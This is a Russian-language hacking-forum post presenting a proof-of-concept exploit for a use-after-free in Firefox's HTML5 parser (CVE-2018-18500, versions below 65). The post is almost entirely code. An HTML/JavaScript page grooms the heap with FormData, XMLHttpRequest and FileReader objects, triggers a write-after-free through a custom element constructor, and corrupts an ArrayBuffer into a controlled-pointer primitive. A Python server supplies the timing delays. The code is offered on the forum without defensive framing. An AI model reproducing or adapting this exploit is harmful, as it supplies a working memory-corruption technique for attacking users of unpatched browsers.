• XSS.stack #1 – первый литературный журнал от юзеров форума

DoS Use-after-free parsing HTML5 stream, Firefox < 65, CVE-2018-18500

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
customelements_poc.html
HTML:
<head>
<link rel="icon" href="data:;base64,iVBORw0KGgo=">
</head>
<body onload="setTimeout(function () { go(); }, 4000);">
<h1>log:</h1>
<p id=p>Sleeping...<br></p>
<script>
var xhrs = new Array(40000);
var xhrs_responses = new Array(40000);
var delay_xhr = new XMLHttpRequest();
var delay_xhr2 = new XMLHttpRequest();
var delay_xhr3 = new XMLHttpRequest();
var formdatas = new Array(4000);
var xhr_data_uri_length = 0x4000;
var filereaders = new Array(100);
var gc_ab = [];
var p = document.getElementById("p");
delay_xhr.open('GET', '/delay.xml', false);
delay_xhr2.open('GET', '/delay.xml', false);
delay_xhr3.open('GET', '/delay.xml', false);
function find_malformed_response() {
    for (var i = 0; i < 40000; i++) {
        xhrs_responses[i] = new Uint32Array(xhrs[i].response);
        if (xhrs_responses[i][0] != 0x78787878) { // "xxxx"
            return i;
        }
    }
    return null;
}
    
addEventListener("message", receiveMessage, false);
function receiveMessage(event)
{
    if (event.data == "0") {
        p.innerHTML += "Allocating FileReaders<br>";
        for (var i = 0; i < filereaders.length; i++) {
            filereaders[i] = new FileReader();
        }
    } else if (event.data == "1") {
        for(var i = 0; i < xhrs.length; i++) {
            xhrs[i] = new XMLHttpRequest();
        }
        let data_uri = "data:text/plain," + "x".repeat(xhr_data_uri_length);
        for(var i = 0; i < xhrs.length; i++) {
            xhrs[i].open("GET", data_uri, true);
            xhrs[i].responseType = "arraybuffer";
            xhrs[i].send(null);
        }
    } else if (event.data == "2") {
        var idx = find_malformed_response();
        if (idx == null) {
            p.innerHTML += "Failed corrupting any XMLHttpRequest<br>";
        } else {
            let blob = new Blob();
            let FileReader_idx;
            
            p.innerHTML += "Malformed ArrayBuffer found in index " + idx + "<br>";
            for (var i = 1; i <= Math.floor(xhr_data_uri_length / 0x140); i++) {
                // +0xc0 FileReader.mCharset.mLength
                // +0xc4 FileReader.mCharset.{mDataFlags,mClassFlags}
                // +0xc8 FileReader.mDataLen
                // +0xcc FileReader.mDataFormat
                if (xhrs_responses[idx][(0x140*i + 0xc0) / 4] == 0 &&
                        xhrs_responses[idx][(0x140*i + 0xc4) / 4] == 0x20001 &&
                        xhrs_responses[idx][(0x140*i + 0xc8) / 4] == 0 &&
                        xhrs_responses[idx][(0x140*i + 0xcc) / 4] == 1) {
                    var offset = 0x140*i;
                    p.innerHTML += "Offset to FileReader from malformed ArrayBuffer: 0x" + offset.toString(16) + "<br>";
                    FileReader_idx = i;
                    break;
                }
            }
            if (FileReader_idx === undefined) {
                p.innerHTML += "Couldn't find FileReader from malformed ArrayBuffer<br>";
            } else {
                for (i = 0; i < filereaders.length; i++) {
                    filereaders[i].readAsArrayBuffer(blob);
                }
                xhrs_responses[idx][(0x140*FileReader_idx + 0xa8) / 4] = 0x41414141; // mDataPtr
                xhrs_responses[idx][(0x140*FileReader_idx + 0xac) / 4] = 0x41414141; // mDataPtr
                xhrs_responses[idx][(0x140*FileReader_idx + 0xc8) / 4] = 0x1000; // mDataLen
                xhrs_responses[idx][(0x140*FileReader_idx + 0x110) / 4] = 0x1000; // mTotal
                setTimeout(function() {
                    for (i = 0; i < filereaders.length; i++) {
                        window._41414141 = filereaders[i].result;
                        if (window._41414141.byteLength != 0) {
                            p.innerHTML += "Created 0x4141414141414141 ArrayBuffer!<br>";
                            break;
                        }
                    }
                    if (i == filereaders.length) {
                        p.innerHTML += "Couldn't create 0x4141414141414141 ArrayBuffer<br>";
                    }
                }, 1000);
            }
        }
    }
}
function formdata_append_one(f) {
    f.append(null, null);
}
function formdata_delete_all(f) {
    f.delete(null);
}
function go() {
for (i = 0; i < formdatas.length; i++) {
    formdatas[i] = new FormData();
}
let f = document.createElement("iframe");
f.srcdoc = `<body>
    <script>
    const MB = 0x100000;
    function gc() {
        // Taken from https://github.com/saelo/foxpwn
        const maxMallocBytes = 128 * MB;
        for (var i = 0; i < 3; i++) {
            parent.gc_ab[i] = new ArrayBuffer(maxMallocBytes);
        }
    }
    class CustomImageElement extends HTMLImageElement {
        constructor() {
            super();
            // post message "0" (allocate FileReaders) to parent, and invoke delay XHR request
            parent.postMessage("0", "*");
            parent.delay_xhr3.send(null);
            // "parent" is going to be unusable after document has changed, so we're declaring variables now to hold references to objects inside parent to be able to use them later
            var formdatas = parent.formdatas;
            var delay_xhr = parent.delay_xhr;
            var delay_xhr2 = parent.delay_xhr2;
            var formdata_delete_all = parent.formdata_delete_all;
            var parent_ref = parent;
        
            gc();
            location.replace("about:blank");
            delay_xhr.send(null);
            // mHandles is freed now
            for (var i = 0; i < formdatas.length; i++) {
                formdata_delete_all(formdatas[i]);
            }
            // all 0x1000 FormData allocations are freed now
            // post message "1" (allocate XMLHttpRequests) to parent, and invoke delay XHR request
            parent_ref.postMessage("1", "*");
            delay_xhr2.send(null);
            // post message "2" (continue exploitation) to parent, but without invoking a delay XHR request so that scheduling occurs only after the write-after-free corruption
            parent_ref.postMessage("2", "*");
            
            parent.p.innerHTML += "Custom element constructor returning<br>";
        }
    }
    customElements.define('custom-img', CustomImageElement, { extends: "img" });
    </scrip` + `t>
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img is=custom-img />
    </body>`;
for (var i = 0; i < formdatas.length; i++) {
    // 43 appends will cause FormData's internal array "mFormData" to re-allocate itself into a 0x1000 allocation
    for (var j = 0; j < 43-1; j++) {
        formdatas[i].append(null, null);
    }
}
p.innerHTML += "Allocating 0x1000 buffers with FormDatas<br>";
for (var i = 0; i < formdatas.length; i++) {
    formdata_append_one(formdatas[i]);
}
p.innerHTML += "Poking holes in 0x1000 buffers<br>";
setTimeout(function () {
    for (var i = 300; i < formdatas.length; i += 550) {
        formdata_delete_all(formdatas[i]);
    }
    document.body.prepend(f);
}, 1000);
}
</script>
</body>

delay_http_server.py
Python:
#!/usr/bin/env python
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import SocketServer
import time

class S(BaseHTTPRequestHandler):
    def _set_headers(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        self._set_headers()
        if self.path == '/customelements_poc.html':
            self.wfile.write(open('customelements_poc.html', 'r').read())
        elif self.path == '/delay.xml':
            time.sleep(2)
            self.wfile.write("<xml></xml>")
        else:
            self.wfile.write("<html><body><h1>open /customelements_poc.html</h1></body></html>")

    def do_HEAD(self):
        self._set_headers()
        
def run(server_class=HTTPServer, handler_class=S, port=80):
    server_address = ('127.0.0.1', port)
    httpd = server_class(server_address, handler_class)
    print 'Starting httpd...'
    httpd.serve_forever()

if __name__ == "__main__":
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх